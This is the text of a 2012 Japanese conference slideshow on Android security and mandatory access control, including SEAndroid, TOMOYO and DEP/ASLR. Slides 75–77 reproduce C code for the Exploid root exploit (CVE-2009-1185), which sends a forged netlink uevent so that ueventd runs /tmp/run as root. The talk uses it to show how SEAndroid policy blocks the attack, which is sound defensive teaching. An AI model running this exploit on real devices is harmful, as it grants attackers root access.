Androidにおける強制アクセス制御

14,008 views
14,514 views

Published on

0 Comments
7 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
14,008
On SlideShare
0
From Embeds
0
Number of Embeds
7,957
Actions
Shares
0
Downloads
32
Comments
0
Likes
7
Embeds 0
No embeds

No notes for slide
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Androidにおける強制アクセス制御

    1. 1. Androidにおける強制アクセス制御情報科学若手の会 2012/09/15
    2. 2. 自己紹介矢倉 大夢@hiromu1996 つい数日前に0x10歳に
    3. 3. 自己紹介セキュリティ&プログラミングキャンプ2010Linuxカーネル組最年少情報セキュリティスペシャリスト
    4. 4. AndroidAndroidデバイス持っていますか? まあiPhone便利だよね Androidってあれでしょ,ウイルスとか
    5. 5. AndroidってアレAndroidのマルウェア検知数の推移
    6. 6. 突然のマルウェア増加原因は?Android台数の増加Androidマルウェアが かる
    7. 7. Androidの台数推移Androidのアクティベーション台数 http://www.asymco.com/2011/12/21/how-many-android-phones-have-been-activated/
    8. 8. マルウェアは かる?Android = スマートフォン スマートフォンには個人情報がいっぱい アカウント情報 電話帳
    9. 9. よくある手法アプリケーションが勝手にSMSを送るSMSで料金支払いができる勝手にお金が使われる
    10. 10. よくある手法携帯キャリアから請求書がきて _人人人人人人_ > 突然の死 <  ̄^Y^Y^Y^Y^ ̄
    11. 11. セキュリティがザル?Androidのセキュリティシステムがザル...?SandboxとかPermissionとか聞くけど
    12. 12. アーキテクチャ
    13. 13. アーキテクチャ
    14. 14. アーキテクチャアプリケーションレイヤーホームアプリケーションブラウザーその他すべてのアプリケーション
    15. 15. アーキテクチャ
    16. 16. アーキテクチャアプリケーションフレームワークAndroidが用意しているAPIなど Location Manager  位置情報を取得するのに必要
    17. 17. アーキテクチャ
    18. 18. アーキテクチャDalvic VM  Android向けJava Virtual Machine dex形式のクラスファイルを使用
    19. 19. アーキテクチャ
    20. 20. アーキテクチャライブラリアプリケーション内でNative実行される OpenGLやOpenSSLのライブラリ Webkitのコア
    21. 21. アーキテクチャ
    22. 22. アーキテクチャLinuxカーネル言わずと知れた基幹部分 タスク,デバイスの管理とかいろいろ
    23. 23. セキュリティ機構SandBoxとPermission アプリケーション間の分離 アクセスできるリソースの制限
    24. 24. サンドボックス AppID 1 AppID 2パーミッション パーミッション SMS Internet 電話帳 GPS Android OS
    25. 25. サンドボックス AppID 1 AppID 2パーミッション パーミッション SMS Internet 電話帳 GPS Android OS
    26. 26. サンドボックスアプリケーションごとにUIDを付与UIDを用いて,一般のLinuxと同じように制御
    27. 27. パーミッションパーミッションに基づいてアクセスできるリソースを制限電話帳データを読み取るにはREAD_CONTACTSが必要
    28. 28. 結局怪しいパーミッションを要求しないアプリケーションだけをインストールすればよいSEND_SMSREAD_CONTACT
    29. 29. それだけじゃないそれだけでは十分な対策とはいえないLinux Kernelの脆弱性を突くマルウェア root権限を奪取する
    30. 30. 実例実際にroot権限を奪取するマルウェア DroidDream Androidで一番最初に発見された ”削除できない”マルウェア
    31. 31. DroidDream2011年3月に発見されたマルウェア 脆弱性を利用してroot権限を奪取 ユーザーが削除できない領域に 別のマルウェアをインストール
    32. 32. DroidDreamAndroid Marketでも配布されていたことが判明し,騒ぎに 既存アプリケーションにマルウェアを 突っ込んで再パッケージしたものなど
    33. 33. DroidDreamDroidDreamは2種類の脆弱性を利用 CVE-2010-EASY(rageageinstthecage)で 始めに試行 失敗すればCVE-2009-1185で試行
    34. 34. 対策アンチウイルスを入れとけばいいんじゃねウイルス⃝スターとか最近話題のキ⃝グソフトとか
    35. 35. アンチウイルス果たしてアンチウイルスは有効なのか?現状ではあまり有効とはいえないというかAndroidのアンチウイルスってどんなことしてくれんの?
    36. 36. アンチウイルスファイルがダウンロードされましたスキャンしてマルウェアと判断すれば削除
    37. 37. アンチウイルスSDカードが挿入されましたSDカードのファイルをすべてスキャンマルウェアがあれば削除
    38. 38. アンチウイルス一見,ちゃんと動いてくれそうだが,Androidのセキュリティシステムが逆にアンチウイルスの働きを阻害している
    39. 39. アンチウイルスアンチウイルスはSandboxの中で動作する 他のアプリケーションのリソースに アクセスできない 他のプロセスに干渉することができない
    40. 40. アンチウイルス当然,動的なヒューリスティック解析はAndroidのアーキテクチャ上,不可能 System Callをフックするとかできるわけ ない
    41. 41. アンチウイルススキャンによるシグネチャベースの検知検体の収集が追いついていないベンダーにより検出率に大きなばらつき
    42. 42. アンチウイルスAndroidのアンチウイルスソフトはあまりあてにならない べ,べつにセキュリティ会社をdisってる わけじゃないんだからね Androidアーキテクチャ上,仕方がない
    43. 43. ソフトウェアの更新脆弱性があったなら,更新パッチ当てれば被害はだいぶ抑えられるんじゃねーの?うん,そうなんだけど....
    44. 44. ソフトウェアの更新Androidの脆弱性対策が非常に遅いのも大きな問題の一つ 2011年6月にIPAがレポートを出す DroidDreamで使用されている 脆弱性への対応状況について
    45. 45. ソフトウェアの更新IPAのレポートより
    46. 46. ソフトウェアの更新脆弱性を悪用するマルウェアの存在が発覚してから3ヶ月経っているそれでも対策が不十分な機種が2つ
    47. 47. ソフトウェアの更新そもそも脆弱性が発見されたのはCVE-2009-1185が2009年3月CVE-2010-EASYが2010年8月
    48. 48. ソフトウェアの更新Androidは脆弱性が見つかって1年経っても対応されていなかったりする... どうしてこうなった....
    49. 49. ソフトウェア更新原因は,ベンダーの対応の遅さ差別化のために様々なカスタマイズをOSに施している パッチの適用に時間がかかる
    50. 50. マルウェアへの対策他に対策はないのか?DEP, ASLR LSM 
    51. 51. DEPバッファオーバーフローによる任意コードの実行を防止する仕組み脆弱性の多くがバッファオーバーフローによるものなので対策として有効
    52. 52. DEPメモリに展開されているコードとデータを区別するバッファオーバーフローを利用してデータの部分に任意のコードを書き込んでも実行できない
    53. 53. DEPメモリコードスタック ここに脆弱性があるデータ
    54. 54. DEPメモリコードスタック 任意のコードを 突っ込めるデータ
    55. 55. DEPメモリコード スタックを書き換えてスタック 先ほどのコードを 呼び出しデータ
    56. 56. DEPメモリコード DEPがあるのでスタック データ領域にあるコードは 実行されないデータ
    57. 57. DEPAndroid 2.3以降で有効化されている iOSでは2.0以降で使えるDEPに必要なライブラリに攻撃すれば無効化することも可能であった
    58. 58. ASLRアドレス空間配置のランダム化プロセスがメモリ上でどこに配置されるかをランダム化できるようになった攻撃の標的を見つけられないようになる
    59. 59. ASLR攻撃対象のメモリアドレスがわからないと攻撃が困難にDEPのライブラリを攻撃することもほぼ不可能Exploitの作成を困難に
    60. 60. ASLRAndroid 4.0でやっと有効に ただ,実装がひどかったので 実質使えるのはAndroid 4.0.1以降 iOSでは4.3以降で使える
    61. 61. マルウェアへの対策やっとiOSに追いついてきたレベルまだコード署名が必要と言われている
    62. 62. LSMLinux Security Moduleの利用 Androidをもっと堅牢化する仕組み カーネルに組み込んで使用
    63. 63. LSMLSMといえばAppArmorSELinuxTOMOYO Linux
    64. 64. LSMLinuxサーバーなどで既に利用されている System Callなどが管理者の定めた ポリシーに則っているかをチェックするその仕組みをAndroidでも利用
    65. 65. Deckard / MiyabiSharpが開発したAndroid向けLSM システムパーティションへの 書き込み制限 デバッグ機能の禁止IS01などで使われている
    66. 66. Tomoyo on AndroidTomoyo Linux  LSMの1つでカードキャプターさくらが 名前の由来 ポリシーを簡単に記述できるのが利点
    67. 67. Tomoyo on AndroidTomoyo on AndroidはTomoyo LinuxをAndroid向けに移植したもの富士通のP-04Dにはすでに搭載されている
    68. 68. SEAndroid2012年1月にリリースされた SELinuxをAndroidに移植したもの アメリカ国家安全保障局が主体となって 開発
    69. 69. LSMでできること強制アクセス制御ファイルの所有者でも,アクセス権限を変更できないアクセス権限は,管理者の定めたポリシーによって設定される
    70. 70. LSMでできること細かい権限設定 Permissionモデルよりポリシーを使って 管理者が細かく権限を設定できるAndroidではベンダーがインストールしたポリシーはrootでも変更不能にできる
    71. 71. LSMでできることSEAndroidで脆弱性に対して有効かどうかためしてみる SEAndroidにはNSAが作ったデフォルト ポリシーがあるので,それで試してみる
    72. 72. SEAndroidの有効事例Exploit.AndroidOS.lotoor DroidDreamとして拡散 AndroidMarketで提供されたことも
    73. 73. SEAndroidの有効事例Exploidを使用してroot権限を奪取 CVE-2009-1185のExploit ueventdの脆弱性 netlinkメッセージの部分に脆弱性
    74. 74. SEAndroidの有効事例ueventdとは root権限で動作しているシステムプロセ ス /dev以下の管理を行なっている Linuxでいうudevのようなもの
    75. 75. SEAndroidの有効事例 Exploitコードint main(int argc, char **argv){ int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_familyatoi(argv[1]); address.nl_pid = = AF_NETLINK; address.nl_groups (void*)&address; msg.msg_name = = 0; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, *) &address, sizeof(address)); bind(sock, (struct sockaddr SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); mp = message; mp += sprintf(mp, "SUBSYSTEM=block") ++ 1; mp += sprintf(mp, "DEVPATH=/dev/foo") 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1; iovector.iov_base = (void*)message; iovector.iov_len&msg, 0); sendmsg(sock, = (int)(mp-message); close(sock); return 0;}
    76. 76. SEAndroidの有効事例 Exploitコードstruct sockaddr_nl address;memset(&address, 0, sizeof(address));address.nl_family = AF_NETLINK;address.nl_pid = atoi(argv[1]);address.nl_groups = 0;struct msghdr msg;msg.msg_name = (void*)&address;msg.msg_namelen = sizeof(address);msg.msg_iov = &iovector;msg.msg_iovlen = 1;
    77. 77. SEAndroidの有効事例 Exploitコードsock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);bind(sock, (struct sockaddr *) &address, sizeof(address));mp = message;mp += sprintf(mp, "SUBSYSTEM=block") + 1;mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;mp += sprintf(mp, "ACTION=remove") +1;mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;iovector.iov_base = (void*)message;iovector.iov_len = (int)(mp-message);sendmsg(sock, &msg, 0);close(sock);
    78. 78. SEAndroidの有効事例AF_NETLINKにソケット通信 カーネルとユーザーランドの通信用のソケット NETLINK_KOBJECT_UEVENT  ユーザーランドへのカーネルからの通信
    79. 79. SEAndroidの有効事例SUBSYSTEM=BLOCK,DEVPATH=/dev/foo,ACTION=REMOVE,REMOVE_CMD=/tmp/run /dev/fooというブロックデバイスが取り外 された トリガーとして/tmp/runを実行
    80. 80. SEAndroidの有効事例ueventdはソケット通信を受け取る /tmp/runを実行するueventdが通送り元を識別していないのが問題 ユーザーランドからでも実行してしまう root権限として実行
    81. 81. SEAndroidの有効事例SEAndroidはどう作用するのか アプリケーションからはNetlinkへ ソケット通信できない ueventdは/proc/sys/kernel/hotplugへ書き 込めない ポリシーで制限されている
    82. 82. SEAndroidの有効事例ポリシー次第では使える ※ただしセキュリティに限る
    83. 83. SEAndroidの実用性速度遅い,もっさりQuadrantでBenchmarkとってみた Android 4.1で試しました
    84. 84. SEAndroidの実用性Galaxy Nexus 平均: 2574Galaxy Nexus (SEAndroid): 2057  Android 4.0の時より10%程度改善
    85. 85. SEAndroidの実用性Normal SEAndroidCPU: 5661 CPU: 5558Memory: 1804 Memory: 1756I/O: 3533 I/O: 16582D: 346 2D: 2693D: 1526 3D: 1024
    86. 86. SEAndroidの実用性I/Oが重い SEAndroidはファイルのラベル情報を 保存するためにファイルシステムに 独自実装を加えている それがくっそ重いらしい
    87. 87. SEAndroidの実用性動作が不安定SEAndroidをEnforceにするとよく落ちる 電話帳が無限ループに入って落ちたり
    88. 88. SEAndroidの実用性SEAndroid使えない? 実際に商用利用できるレベルではない 落ちる問題に関しては,ポリシーを 緩くするとある程度はマシになるはず
    89. 89. SEAndroidの実用性こういう使い方もあるはずSEAndroidのログからマルウェア検知?組み込み系Androidならもっと使える?
    90. 90. SEAndroidの今後開発チームはメインラインへのマージに乗り気すでにDalvik VMなどへの変更はマージされている残りはKernelの部分など
    91. 91. SEAndroidの今後どっちにしろAndroidには強制アクセス制御の利用が必要なはず 数年のうちにデフォルトになっていると 嬉しい Androidのセキュリティも マシになるはず
    92. 92. ご清聴ありがとうございました質問タイム

    ×